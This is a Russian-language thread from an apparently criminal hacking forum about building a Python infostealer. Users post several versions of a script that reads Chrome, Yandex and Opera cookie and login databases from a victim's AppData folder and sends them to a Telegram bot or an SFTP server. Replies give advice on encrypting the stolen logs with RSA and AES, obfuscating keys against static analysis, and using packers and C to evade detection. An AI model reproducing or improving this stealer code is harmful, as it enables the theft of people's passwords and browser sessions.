• XSS.stack #1 – первый литературный журнал от юзеров форума

Python stealer

Пожалуйста, обратите внимание, что пользователь заблокирован
для логов генерируйте псевдослучайный ключ
Псевдослучайный ключ симметричного алгоритма, например AES, ChaCha, Salsa20, XTEA, RC4 и тому подобное.

RSA же ассиметричный и его должно быть достаточно
RSA и ECC никто не использует для шифрования данных, только для ключей, во-первых потому, что это будет гораздо медленнее, а во-вторых потому, что размер блока слишком большой. Если тебе нужно передать данные, которые влезут в один блок RSA/ECC, то да, в общем случае - нет.

Правда мне кажется этот ключ может палиться статическим анализатором
Ничто не мешает шифровать или обфусцировать публичный ключ по разному при сборке каждого нового семпла.
 
На форуме очевидно зреет новая подрубрика разговоров с копипастой - комментирование очевидного ChatGPT кода, который не имеет никакого отношения к стилеру и к малвари вообще)
P.S. зато даже в таком эпичном треде посоветовали перейти на С, дамага держит марку качества :)
 
RSA и ECC никто не использует для шифрования данных, только для ключей, во-первых потому, что это будет гораздо медленнее, а во-вторых потому, что размер блока слишком большой. Если тебе нужно передать данные, которые влезут в один блок RSA/ECC, то да, в общем случае - нет.
Я правильно понял, что мы генериуем RSA и симметричные ключи, потом приватным RSA шифруем симметричный и кладем публичный RSA c зашифрованным симметричным в бота? Не знаю можно ли реверсом достать эти ключи. Если можно, тогда в RSA смысла нет.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я правильно понял, что мы генериуем RSA и симметричные ключи, потом приватным RSA шифруем симметричный и кладем публичный RSA c зашифрованным симметричным в бота?
Нет, не правильно. Допустим в качестве симметричного шифра мы используем AES "по-классике". В боте зашит публичный ключ RSA, для каждой итерации передачи данных мы генерируем новый ключ AES, закрываем его на публичном ключе и дописываем к данным, зашифрованным на этом AES ключе. Без приватного ключа RSA никто не может достать AES ключ, а следовательно и расшифровать данные.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Привет, мне нужна твоя помощь по вопросу, который я не могу здесь изложить, у тебя есть токсикологический идентификатор?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
токсикологический идентификатор
Вот чего чего, а "токсикологического идентификатора" у меня нет... 😆
 
Всем спасибо за отзывы, я последовал некоторым советам относительно Telegram, который не является безопасным, и других ошибок в моем коде, поэтому я переписал его.

Python:
import getpass
import random
import cryptography
from cryptography.fernet import Fernet
import paramiko

fldr = 'C:\\Users'+'\\' + getpass.getuser()+'\\AppData\\'
files = [
    ("google","Local\\Google\\Chrome\\User Data\\Default\\Cookies","Local\\Google\\Chrome\\User Data\\Default\\Login Data"),
    ("yandex","Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies","Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"),
    ("opera","Roaming\\Opera Software\\Opera Stable\\Cookies","Roaming\\Opera Software\\Opera Stable\\Login Data")
    ]

def check():
    global files
    key = Fernet.generate_key()
    cipher_suite = Fernet(key)

    # Connect to the SFTP server
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect('YOUR_SFTP_SERVER_HOST', username='YOUR_SFTP_SERVER_USERNAME', password='YOUR_SFTP_SERVER_PASSWORD')
    sftp = ssh.open_sftp()

    for f in files:
        try:
            with open(fldr+f[1], "rb") as content:
                encrypted_cookie = cipher_suite.encrypt(content.read())
                sftp.putfo(encrypted_cookie, '/path/to/encrypted_cookies')
            with open(fldr+f[2], "rb") as content:
                encrypted_pass = cipher_suite.encrypt(content.read())
                sftp.putfo(encrypted_pass, '/path/to/encrypted_pass')
        except Exception as err:
            print('There is no file for the browser: ', f[0])
    ssh.close()

check()
Python:
import getpass
import os
import paramiko
from cryptography.fernet import Fernet


fldr = f'C:\\Users\\{getpass.getuser()}\\AppData\\'
files = [
    ("google", "Local\\Google\\Chrome\\User Data\\Default\\Cookies", "Local\\Google\\Chrome\\User Data\\Default\\Login Data"),
    ("yandex", "Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies", "Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"),
    ("opera", "Roaming\\Opera Software\\Opera Stable\\Cookies", "Roaming\\Opera Software\\Opera Stable\\Login Data")
]

def check():
    global files
    key = Fernet.generate_key()
    cipher_suite = Fernet(key)

    # Connect to the SFTP server
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect('YOUR_SFTP_SERVER_HOST', username='YOUR_SFTP_SERVER_USERNAME', password='YOUR_SFTP_SERVER_PASSWORD')
    sftp = ssh.open_sftp()

    for f in files:
        file_path_cookie = os.path.join(fldr, f[1])
        file_path_login = os.path.join(fldr, f[2])
        if os.path.isfile(file_path_cookie):
            with open(file_path_cookie, "rb") as content:
                encrypted_cookie = cipher_suite.encrypt(content.read())
                sftp.putfo(encrypted_cookie, '/path/to/encrypted_cookies')
        else:
            print(f"There is no file for the browser: {f[0]} - Cookie")
        if os.path.isfile(file_path_login):
            with open(file_path_login, "rb") as content:
                encrypted_pass = cipher_suite.encrypt(content.read())
                sftp.putfo(encrypted_pass, '/path/to/encrypted_pass')
        else:
            print(f"There is no file for the browser: {f[0]} - Login Data")

    ssh.close()


check()

Не знаю, будет ли тебе легче и возможно уже неактуально но подправил немного.
 
Зашейте в стиллер публичный ключ RSA/ECC, для логов генерируйте псевдослучайный ключ и шифруйте любым нормальным симметричным алгоритмом, закрывайте этот ключ на публичном ключе, отправляйте все вместе хоть на сервак, хоть на имейл, хоть в телегу, никто ваши логи без приватного ключа не вскроет.
это же гибридное шифрование, я правильно понял или нет?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
это же гибридное шифрование, я правильно понял или нет?
Ну да, по сути это как протокол Диффи-Хеллмана, принцип тот же, только вид с боку.
 
Стиллер на питоне... Ну во первых переходи на C языки, а во вторых я тоже варился а этой нише. Во первых отправка через тг бота достаточно спорное решение. Потому что если жертва дешифрует скрипт то она узнает токен бота. А это влечёт к не самым лучшим последствиям. Лучше просто отправлять все это через email. Во первых проще, во вторых то что жертва дешифрует она получит не очень много данных. Куки - во первых слишком мало браузеров и пути могут оказаться не валидными что может просто прервать работу скрипта. Я видел оч много людей сидящих с того же самого firefox'а оперы gx и.т.д .
Maybe if you use custom cryptor and packers for compiled python it's can be good I think but you are right C is better anyways and assembly is even more.
 
вот скрипт вора на питоне, хотелось бы мнения более опытных людей

Python:
import getpass
import random
import telebot
import cryptography
from cryptography.fernet import Fernet

# Replace "YOUR_BOT_TOKEN" with your actual bot token
bot = telebot.TeleBot("YOUR_BOT_TOKEN")

fldr = 'C:\\Users'+'\\' + getpass.getuser()+'\\AppData\\'
files = [
    ("google","Local\\Google\\Chrome\\User Data\\Default\\Cookies","Local\\Google\\Chrome\\User Data\\Default\\Login Data"),
    ("yandex","Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies","Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"),
    ("opera","Roaming\\Opera Software\\Opera Stable\\Cookies","Roaming\\Opera Software\\Opera Stable\\Login Data")
    #("firefox", "", "")
    ]

def check():
    global files
    key = Fernet.generate_key()
    cipher_suite = Fernet(key)
    for f in files:
        try:
            with open(fldr+f[1], "rb") as content:
                # Send the cookie data to Telegram
                bot.send_document(chat_id="YOUR_TELEGRAM_CHAT_ID", document=content.read())
            with open(fldr+f[2], "rb") as content:
                encrypted_pass = content.read()
                # Decrypt the password data
                decrypted_pass = cipher_suite.decrypt(encrypted_pass)
                # Send the decrypted password data to Telegram
                bot.send_message(chat_id="YOUR_TELEGRAM_CHAT_ID", text=decrypted_pass.decode())
        except Exception as err:
            #print(err)
            print('There is no '+f[0]+' here.')

check()
На питоне такое писать глупо, так как язык высокоуровневый и скриптовой, он не компилируется, а архивируется в .exe программу / архив. Лучше переписать на Си / C++.
 
Всем спасибо за отзывы, я последовал некоторым советам относительно Telegram, который не является безопасным, и других ошибок в моем коде, поэтому я переписал его.

Python:
import getpass
import random
import cryptography
from cryptography.fernet import Fernet
import paramiko

fldr = 'C:\\Users'+'\\' + getpass.getuser()+'\\AppData\\'
files = [
    ("google","Local\\Google\\Chrome\\User Data\\Default\\Cookies","Local\\Google\\Chrome\\User Data\\Default\\Login Data"),
    ("yandex","Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies","Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"),
    ("opera","Roaming\\Opera Software\\Opera Stable\\Cookies","Roaming\\Opera Software\\Opera Stable\\Login Data")
    ]

def check():
    global files
    key = Fernet.generate_key()
    cipher_suite = Fernet(key)

    # Connect to the SFTP server
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect('YOUR_SFTP_SERVER_HOST', username='YOUR_SFTP_SERVER_USERNAME', password='YOUR_SFTP_SERVER_PASSWORD')
    sftp = ssh.open_sftp()

    for f in files:
        try:
            with open(fldr+f[1], "rb") as content:
                encrypted_cookie = cipher_suite.encrypt(content.read())
                sftp.putfo(encrypted_cookie, '/path/to/encrypted_cookies')
            with open(fldr+f[2], "rb") as content:
                encrypted_pass = cipher_suite.encrypt(content.read())
                sftp.putfo(encrypted_pass, '/path/to/encrypted_pass')
        except Exception as err:
            print('There is no file for the browser: ', f[0])
    ssh.close()

check()
Используй передачу по HTTP/HTTPS или свой самописный протокол на socket. Использовать SFTP и тем более хранить пароль в самой программе очень опасно, при том что лог не запишется на сервер если юзер не обладает рут правами.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх